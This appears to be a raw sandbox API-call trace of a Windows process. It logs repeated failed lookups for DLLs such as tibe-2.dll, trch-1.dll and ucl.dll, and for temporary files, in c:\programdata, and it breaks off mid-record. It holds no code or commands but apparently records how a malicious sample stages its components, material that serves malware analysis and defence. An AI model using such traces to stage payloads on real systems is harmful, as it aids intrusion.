FindFirstFileW (in: lpFileName="c:\\programdata\\evb8f8b0.tmp", lpFindFileData=0x28ef48 | out: lpFindFileData=0x28ef48*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="A腼uA((")) returned 0xffffffff [0092.244] CharLowerBuffW (in: lpsz="c:", cchLength=0x2 | out: lpsz="c:") returned 0x2 [0092.244] CharLowerBuffW (in: lpsz="\\device\\harddiskvolume1\\programdata\\star.xml\\", cchLength=0x2d | out: lpsz="\\device\\harddiskvolume1\\programdata\\star.xml\\") returned 0x2d [0092.244] CharLowerBuffW (in: lpsz="\\device\\harddiskvolume1\\progra~3\\star.xml\\", cchLength=0x2a | out: lpsz="\\device\\harddiskvolume1\\progra~3\\star.xml\\") returned 0x2a [0092.244] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0092.244] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0092.244] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0092.244] CharLowerBuffW (in: lpsz="tibe-2.dll", cchLength=0xa | out: lpsz="tibe-2.dll") returned 0xa [0092.244] CharLowerBuffW (in: lpsz="c:\\programdata\\tibe-2.dll", cchLength=0x19 | out: lpsz="c:\\programdata\\tibe-2.dll") returned 0x19 [0092.244] CharLowerBuffW (in: lpsz="c:\\programdata\\tibe-2.dll", cchLength=0x19 | out: lpsz="c:\\programdata\\tibe-2.dll") returned 0x19 [0092.245] FindFirstFileW (in: lpFileName="c:\\programdata", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80adfa20, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x80adfa20, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0x765660 [0092.245] FindNextFileW (in: hFindFile=0x765660, lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80adfa20, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x80adfa20, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0 [0092.245] GetLastError () returned 0x12 [0092.245] FindClose (in: hFindFile=0x765660 | out: hFindFile=0x765660) returned 1 [0092.245] FindFirstFileW (in: lpFileName="c:\\ProgramData\\tibe-2.dll", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0092.245] GetLastError () returned 0x2 [0092.245] CharLowerBuffW (in: lpsz="c:\\ProgramData\\tibe-2.dll", cchLength=0x19 | out: lpsz="c:\\programdata\\tibe-2.dll") returned 0x19 [0092.245] CharLowerBuffW (in: lpsz="c:\\programdata\\tibe-2.dll", cchLength=0x19 | out: lpsz="c:\\programdata\\tibe-2.dll") returned 0x19 [0092.245] FindFirstFileW (in: lpFileName="c:\\programdata", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80adfa20, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x80adfa20, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0x765660 [0092.245] FindNextFileW (in: hFindFile=0x765660, lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80adfa20, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x80adfa20, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0 [0092.245] GetLastError () returned 0x12 [0092.245] FindClose (in: hFindFile=0x765660 | out: hFindFile=0x765660) returned 1 [0092.245] FindFirstFileW (in: lpFileName="c:\\PROGRA~3\\tibe-2.dll", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0092.245] GetLastError () returned 0x2 [0092.246] CharLowerBuffW (in: lpsz="c:\\PROGRA~3\\tibe-2.dll", cchLength=0x16 | out: lpsz="c:\\progra~3\\tibe-2.dll") returned 0x16 [0092.246] CharLowerBuffW (in: lpsz="EVBFA9D4.TMP", cchLength=0xc | out: lpsz="evbfa9d4.tmp") returned 0xc [0092.246] FindFirstFileW (in: lpFileName="c:\\programdata\\evbfa9d4.tmp", lpFindFileData=0x28ef48 | out: lpFindFileData=0x28ef48*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="A翴uA((")) returned 0xffffffff [0092.246] CharLowerBuffW (in: lpsz="c:", cchLength=0x2 | out: lpsz="c:") returned 0x2 [0092.246] CharLowerBuffW (in: lpsz="\\device\\harddiskvolume1\\programdata\\tibe-2.dll\\", cchLength=0x2f | out: lpsz="\\device\\harddiskvolume1\\programdata\\tibe-2.dll\\") returned 0x2f [0092.246] CharLowerBuffW (in: lpsz="\\device\\harddiskvolume1\\progra~3\\tibe-2.dll\\", cchLength=0x2c | out: lpsz="\\device\\harddiskvolume1\\progra~3\\tibe-2.dll\\") returned 0x2c [0092.246] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0092.246] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0092.246] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0092.246] CharLowerBuffW (in: lpsz="trch-1.dll", cchLength=0xa | out: lpsz="trch-1.dll") returned 0xa [0092.246] CharLowerBuffW (in: lpsz="c:\\programdata\\trch-1.dll", cchLength=0x19 | out: lpsz="c:\\programdata\\trch-1.dll") returned 0x19 [0092.246] CharLowerBuffW (in: lpsz="c:\\programdata\\trch-1.dll", cchLength=0x19 | out: lpsz="c:\\programdata\\trch-1.dll") returned 0x19 [0092.246] FindFirstFileW (in: lpFileName="c:\\programdata", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80adfa20, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x80adfa20, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0x765660 [0092.246] FindNextFileW (in: hFindFile=0x765660, lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80adfa20, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x80adfa20, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0 [0092.246] GetLastError () returned 0x12 [0092.246] FindClose (in: hFindFile=0x765660 | out: hFindFile=0x765660) returned 1 [0092.246] FindFirstFileW (in: lpFileName="c:\\ProgramData\\trch-1.dll", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0092.247] GetLastError () returned 0x2 [0092.247] CharLowerBuffW (in: lpsz="c:\\ProgramData\\trch-1.dll", cchLength=0x19 | out: lpsz="c:\\programdata\\trch-1.dll") returned 0x19 [0092.247] CharLowerBuffW (in: lpsz="c:\\programdata\\trch-1.dll", cchLength=0x19 | out: lpsz="c:\\programdata\\trch-1.dll") returned 0x19 [0092.247] FindFirstFileW (in: lpFileName="c:\\programdata", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80adfa20, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x80adfa20, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0x765660 [0092.247] FindNextFileW (in: hFindFile=0x765660, lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80adfa20, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x80adfa20, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0 [0092.247] GetLastError () returned 0x12 [0092.247] FindClose (in: hFindFile=0x765660 | out: hFindFile=0x765660) returned 1 [0092.247] FindFirstFileW (in: lpFileName="c:\\PROGRA~3\\trch-1.dll", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0092.247] GetLastError () returned 0x2 [0092.247] CharLowerBuffW (in: lpsz="c:\\PROGRA~3\\trch-1.dll", cchLength=0x16 | out: lpsz="c:\\progra~3\\trch-1.dll") returned 0x16 [0092.247] CharLowerBuffW (in: lpsz="EVBA9B91.TMP", cchLength=0xc | out: lpsz="evba9b91.tmp") returned 0xc [0092.247] FindFirstFileW (in: lpFileName="c:\\programdata\\evba9b91.tmp", lpFindFileData=0x28ef48 | out: lpFindFileData=0x28ef48*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="A緄uA((")) returned 0xffffffff [0092.247] CharLowerBuffW (in: lpsz="c:", cchLength=0x2 | out: lpsz="c:") returned 0x2 [0092.248] CharLowerBuffW (in: lpsz="\\device\\harddiskvolume1\\programdata\\trch-1.dll\\", cchLength=0x2f | out: lpsz="\\device\\harddiskvolume1\\programdata\\trch-1.dll\\") returned 0x2f [0092.248] CharLowerBuffW (in: lpsz="\\device\\harddiskvolume1\\progra~3\\trch-1.dll\\", cchLength=0x2c | out: lpsz="\\device\\harddiskvolume1\\progra~3\\trch-1.dll\\") returned 0x2c [0092.248] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0092.248] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0092.248] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0092.248] CharLowerBuffW (in: lpsz="trfo-2.dll", cchLength=0xa | out: lpsz="trfo-2.dll") returned 0xa [0092.248] CharLowerBuffW (in: lpsz="c:\\programdata\\trfo-2.dll", cchLength=0x19 | out: lpsz="c:\\programdata\\trfo-2.dll") returned 0x19 [0092.248] CharLowerBuffW (in: lpsz="c:\\programdata\\trfo-2.dll", cchLength=0x19 | out: lpsz="c:\\programdata\\trfo-2.dll") returned 0x19 [0092.248] FindFirstFileW (in: lpFileName="c:\\programdata", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80adfa20, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x80adfa20, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0x765660 [0092.248] FindNextFileW (in: hFindFile=0x765660, lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80adfa20, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x80adfa20, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0 [0092.248] GetLastError () returned 0x12 [0092.248] FindClose (in: hFindFile=0x765660 | out: hFindFile=0x765660) returned 1 [0092.248] FindFirstFileW (in: lpFileName="c:\\ProgramData\\trfo-2.dll", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0092.249] GetLastError () returned 0x2 [0092.249] CharLowerBuffW (in: lpsz="c:\\ProgramData\\trfo-2.dll", cchLength=0x19 | out: lpsz="c:\\programdata\\trfo-2.dll") returned 0x19 [0092.249] CharLowerBuffW (in: lpsz="c:\\programdata\\trfo-2.dll", cchLength=0x19 | out: lpsz="c:\\programdata\\trfo-2.dll") returned 0x19 [0092.249] FindFirstFileW (in: lpFileName="c:\\programdata", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80adfa20, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x80adfa20, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0x765660 [0092.249] FindNextFileW (in: hFindFile=0x765660, lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80adfa20, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x80adfa20, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0 [0092.249] GetLastError () returned 0x12 [0092.249] FindClose (in: hFindFile=0x765660 | out: hFindFile=0x765660) returned 1 [0092.249] FindFirstFileW (in: lpFileName="c:\\PROGRA~3\\trfo-2.dll", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0092.249] GetLastError () returned 0x2 [0092.249] CharLowerBuffW (in: lpsz="c:\\PROGRA~3\\trfo-2.dll", cchLength=0x16 | out: lpsz="c:\\progra~3\\trfo-2.dll") returned 0x16 [0092.249] CharLowerBuffW (in: lpsz="EVB80977.TMP", cchLength=0xc | out: lpsz="evb80977.tmp") returned 0xc [0092.249] FindFirstFileW (in: lpFileName="c:\\programdata\\evb80977.tmp", lpFindFileData=0x28ef48 | out: lpFindFileData=0x28ef48*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="A翴uA((")) returned 0xffffffff [0092.249] CharLowerBuffW (in: lpsz="c:", cchLength=0x2 | out: lpsz="c:") returned 0x2 [0092.249] CharLowerBuffW (in: lpsz="\\device\\harddiskvolume1\\programdata\\trfo-2.dll\\", cchLength=0x2f | out: lpsz="\\device\\harddiskvolume1\\programdata\\trfo-2.dll\\") returned 0x2f [0092.249] CharLowerBuffW (in: lpsz="\\device\\harddiskvolume1\\progra~3\\trfo-2.dll\\", cchLength=0x2c | out: lpsz="\\device\\harddiskvolume1\\progra~3\\trfo-2.dll\\") returned 0x2c [0092.250] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0092.250] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0092.250] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0092.250] CharLowerBuffW (in: lpsz="tucl-1.dll", cchLength=0xa | out: lpsz="tucl-1.dll") returned 0xa [0092.250] CharLowerBuffW (in: lpsz="c:\\programdata\\tucl-1.dll", cchLength=0x19 | out: lpsz="c:\\programdata\\tucl-1.dll") returned 0x19 [0092.250] CharLowerBuffW (in: lpsz="c:\\programdata\\tucl-1.dll", cchLength=0x19 | out: lpsz="c:\\programdata\\tucl-1.dll") returned 0x19 [0092.250] FindFirstFileW (in: lpFileName="c:\\programdata", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80adfa20, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x80adfa20, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0x765660 [0092.250] FindNextFileW (in: hFindFile=0x765660, lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80adfa20, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x80adfa20, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0 [0092.250] GetLastError () returned 0x12 [0092.250] FindClose (in: hFindFile=0x765660 | out: hFindFile=0x765660) returned 1 [0092.250] FindFirstFileW (in: lpFileName="c:\\ProgramData\\tucl-1.dll", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0092.250] GetLastError () returned 0x2 [0092.250] CharLowerBuffW (in: lpsz="c:\\ProgramData\\tucl-1.dll", cchLength=0x19 | out: lpsz="c:\\programdata\\tucl-1.dll") returned 0x19 [0092.250] CharLowerBuffW (in: lpsz="c:\\programdata\\tucl-1.dll", cchLength=0x19 | out: lpsz="c:\\programdata\\tucl-1.dll") returned 0x19 [0092.250] FindFirstFileW (in: lpFileName="c:\\programdata", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80adfa20, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x80adfa20, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0x765660 [0092.250] FindNextFileW (in: hFindFile=0x765660, lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80adfa20, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x80adfa20, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0 [0092.250] GetLastError () returned 0x12 [0092.250] FindClose (in: hFindFile=0x765660 | out: hFindFile=0x765660) returned 1 [0092.251] FindFirstFileW (in: lpFileName="c:\\PROGRA~3\\tucl-1.dll", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0092.251] GetLastError () returned 0x2 [0092.251] CharLowerBuffW (in: lpsz="c:\\PROGRA~3\\tucl-1.dll", cchLength=0x16 | out: lpsz="c:\\progra~3\\tucl-1.dll") returned 0x16 [0092.251] CharLowerBuffW (in: lpsz="EVB525F5.TMP", cchLength=0xc | out: lpsz="evb525f5.tmp") returned 0xc [0092.251] FindFirstFileW (in: lpFileName="c:\\programdata\\evb525f5.tmp", lpFindFileData=0x28ef48 | out: lpFindFileData=0x28ef48*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="A緄uA((")) returned 0xffffffff [0092.251] CharLowerBuffW (in: lpsz="c:", cchLength=0x2 | out: lpsz="c:") returned 0x2 [0092.251] CharLowerBuffW (in: lpsz="\\device\\harddiskvolume1\\programdata\\tucl-1.dll\\", cchLength=0x2f | out: lpsz="\\device\\harddiskvolume1\\programdata\\tucl-1.dll\\") returned 0x2f [0092.251] CharLowerBuffW (in: lpsz="\\device\\harddiskvolume1\\progra~3\\tucl-1.dll\\", cchLength=0x2c | out: lpsz="\\device\\harddiskvolume1\\progra~3\\tucl-1.dll\\") returned 0x2c [0092.251] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0092.251] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0092.251] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0092.251] CharLowerBuffW (in: lpsz="ucl.dll", cchLength=0x7 | out: lpsz="ucl.dll") returned 0x7 [0092.251] CharLowerBuffW (in: lpsz="c:\\programdata\\ucl.dll", cchLength=0x16 | out: lpsz="c:\\programdata\\ucl.dll") returned 0x16 [0092.251] CharLowerBuffW (in: lpsz="c:\\programdata\\ucl.dll", cchLength=0x16 | out: lpsz="c:\\programdata\\ucl.dll") returned 0x16 [0092.251] FindFirstFileW (in: lpFileName="c:\\programdata", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80adfa20, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x80adfa20, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0x765660 [0092.251] FindNextFileW (in: hFindFile=0x765660, lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80adfa20, 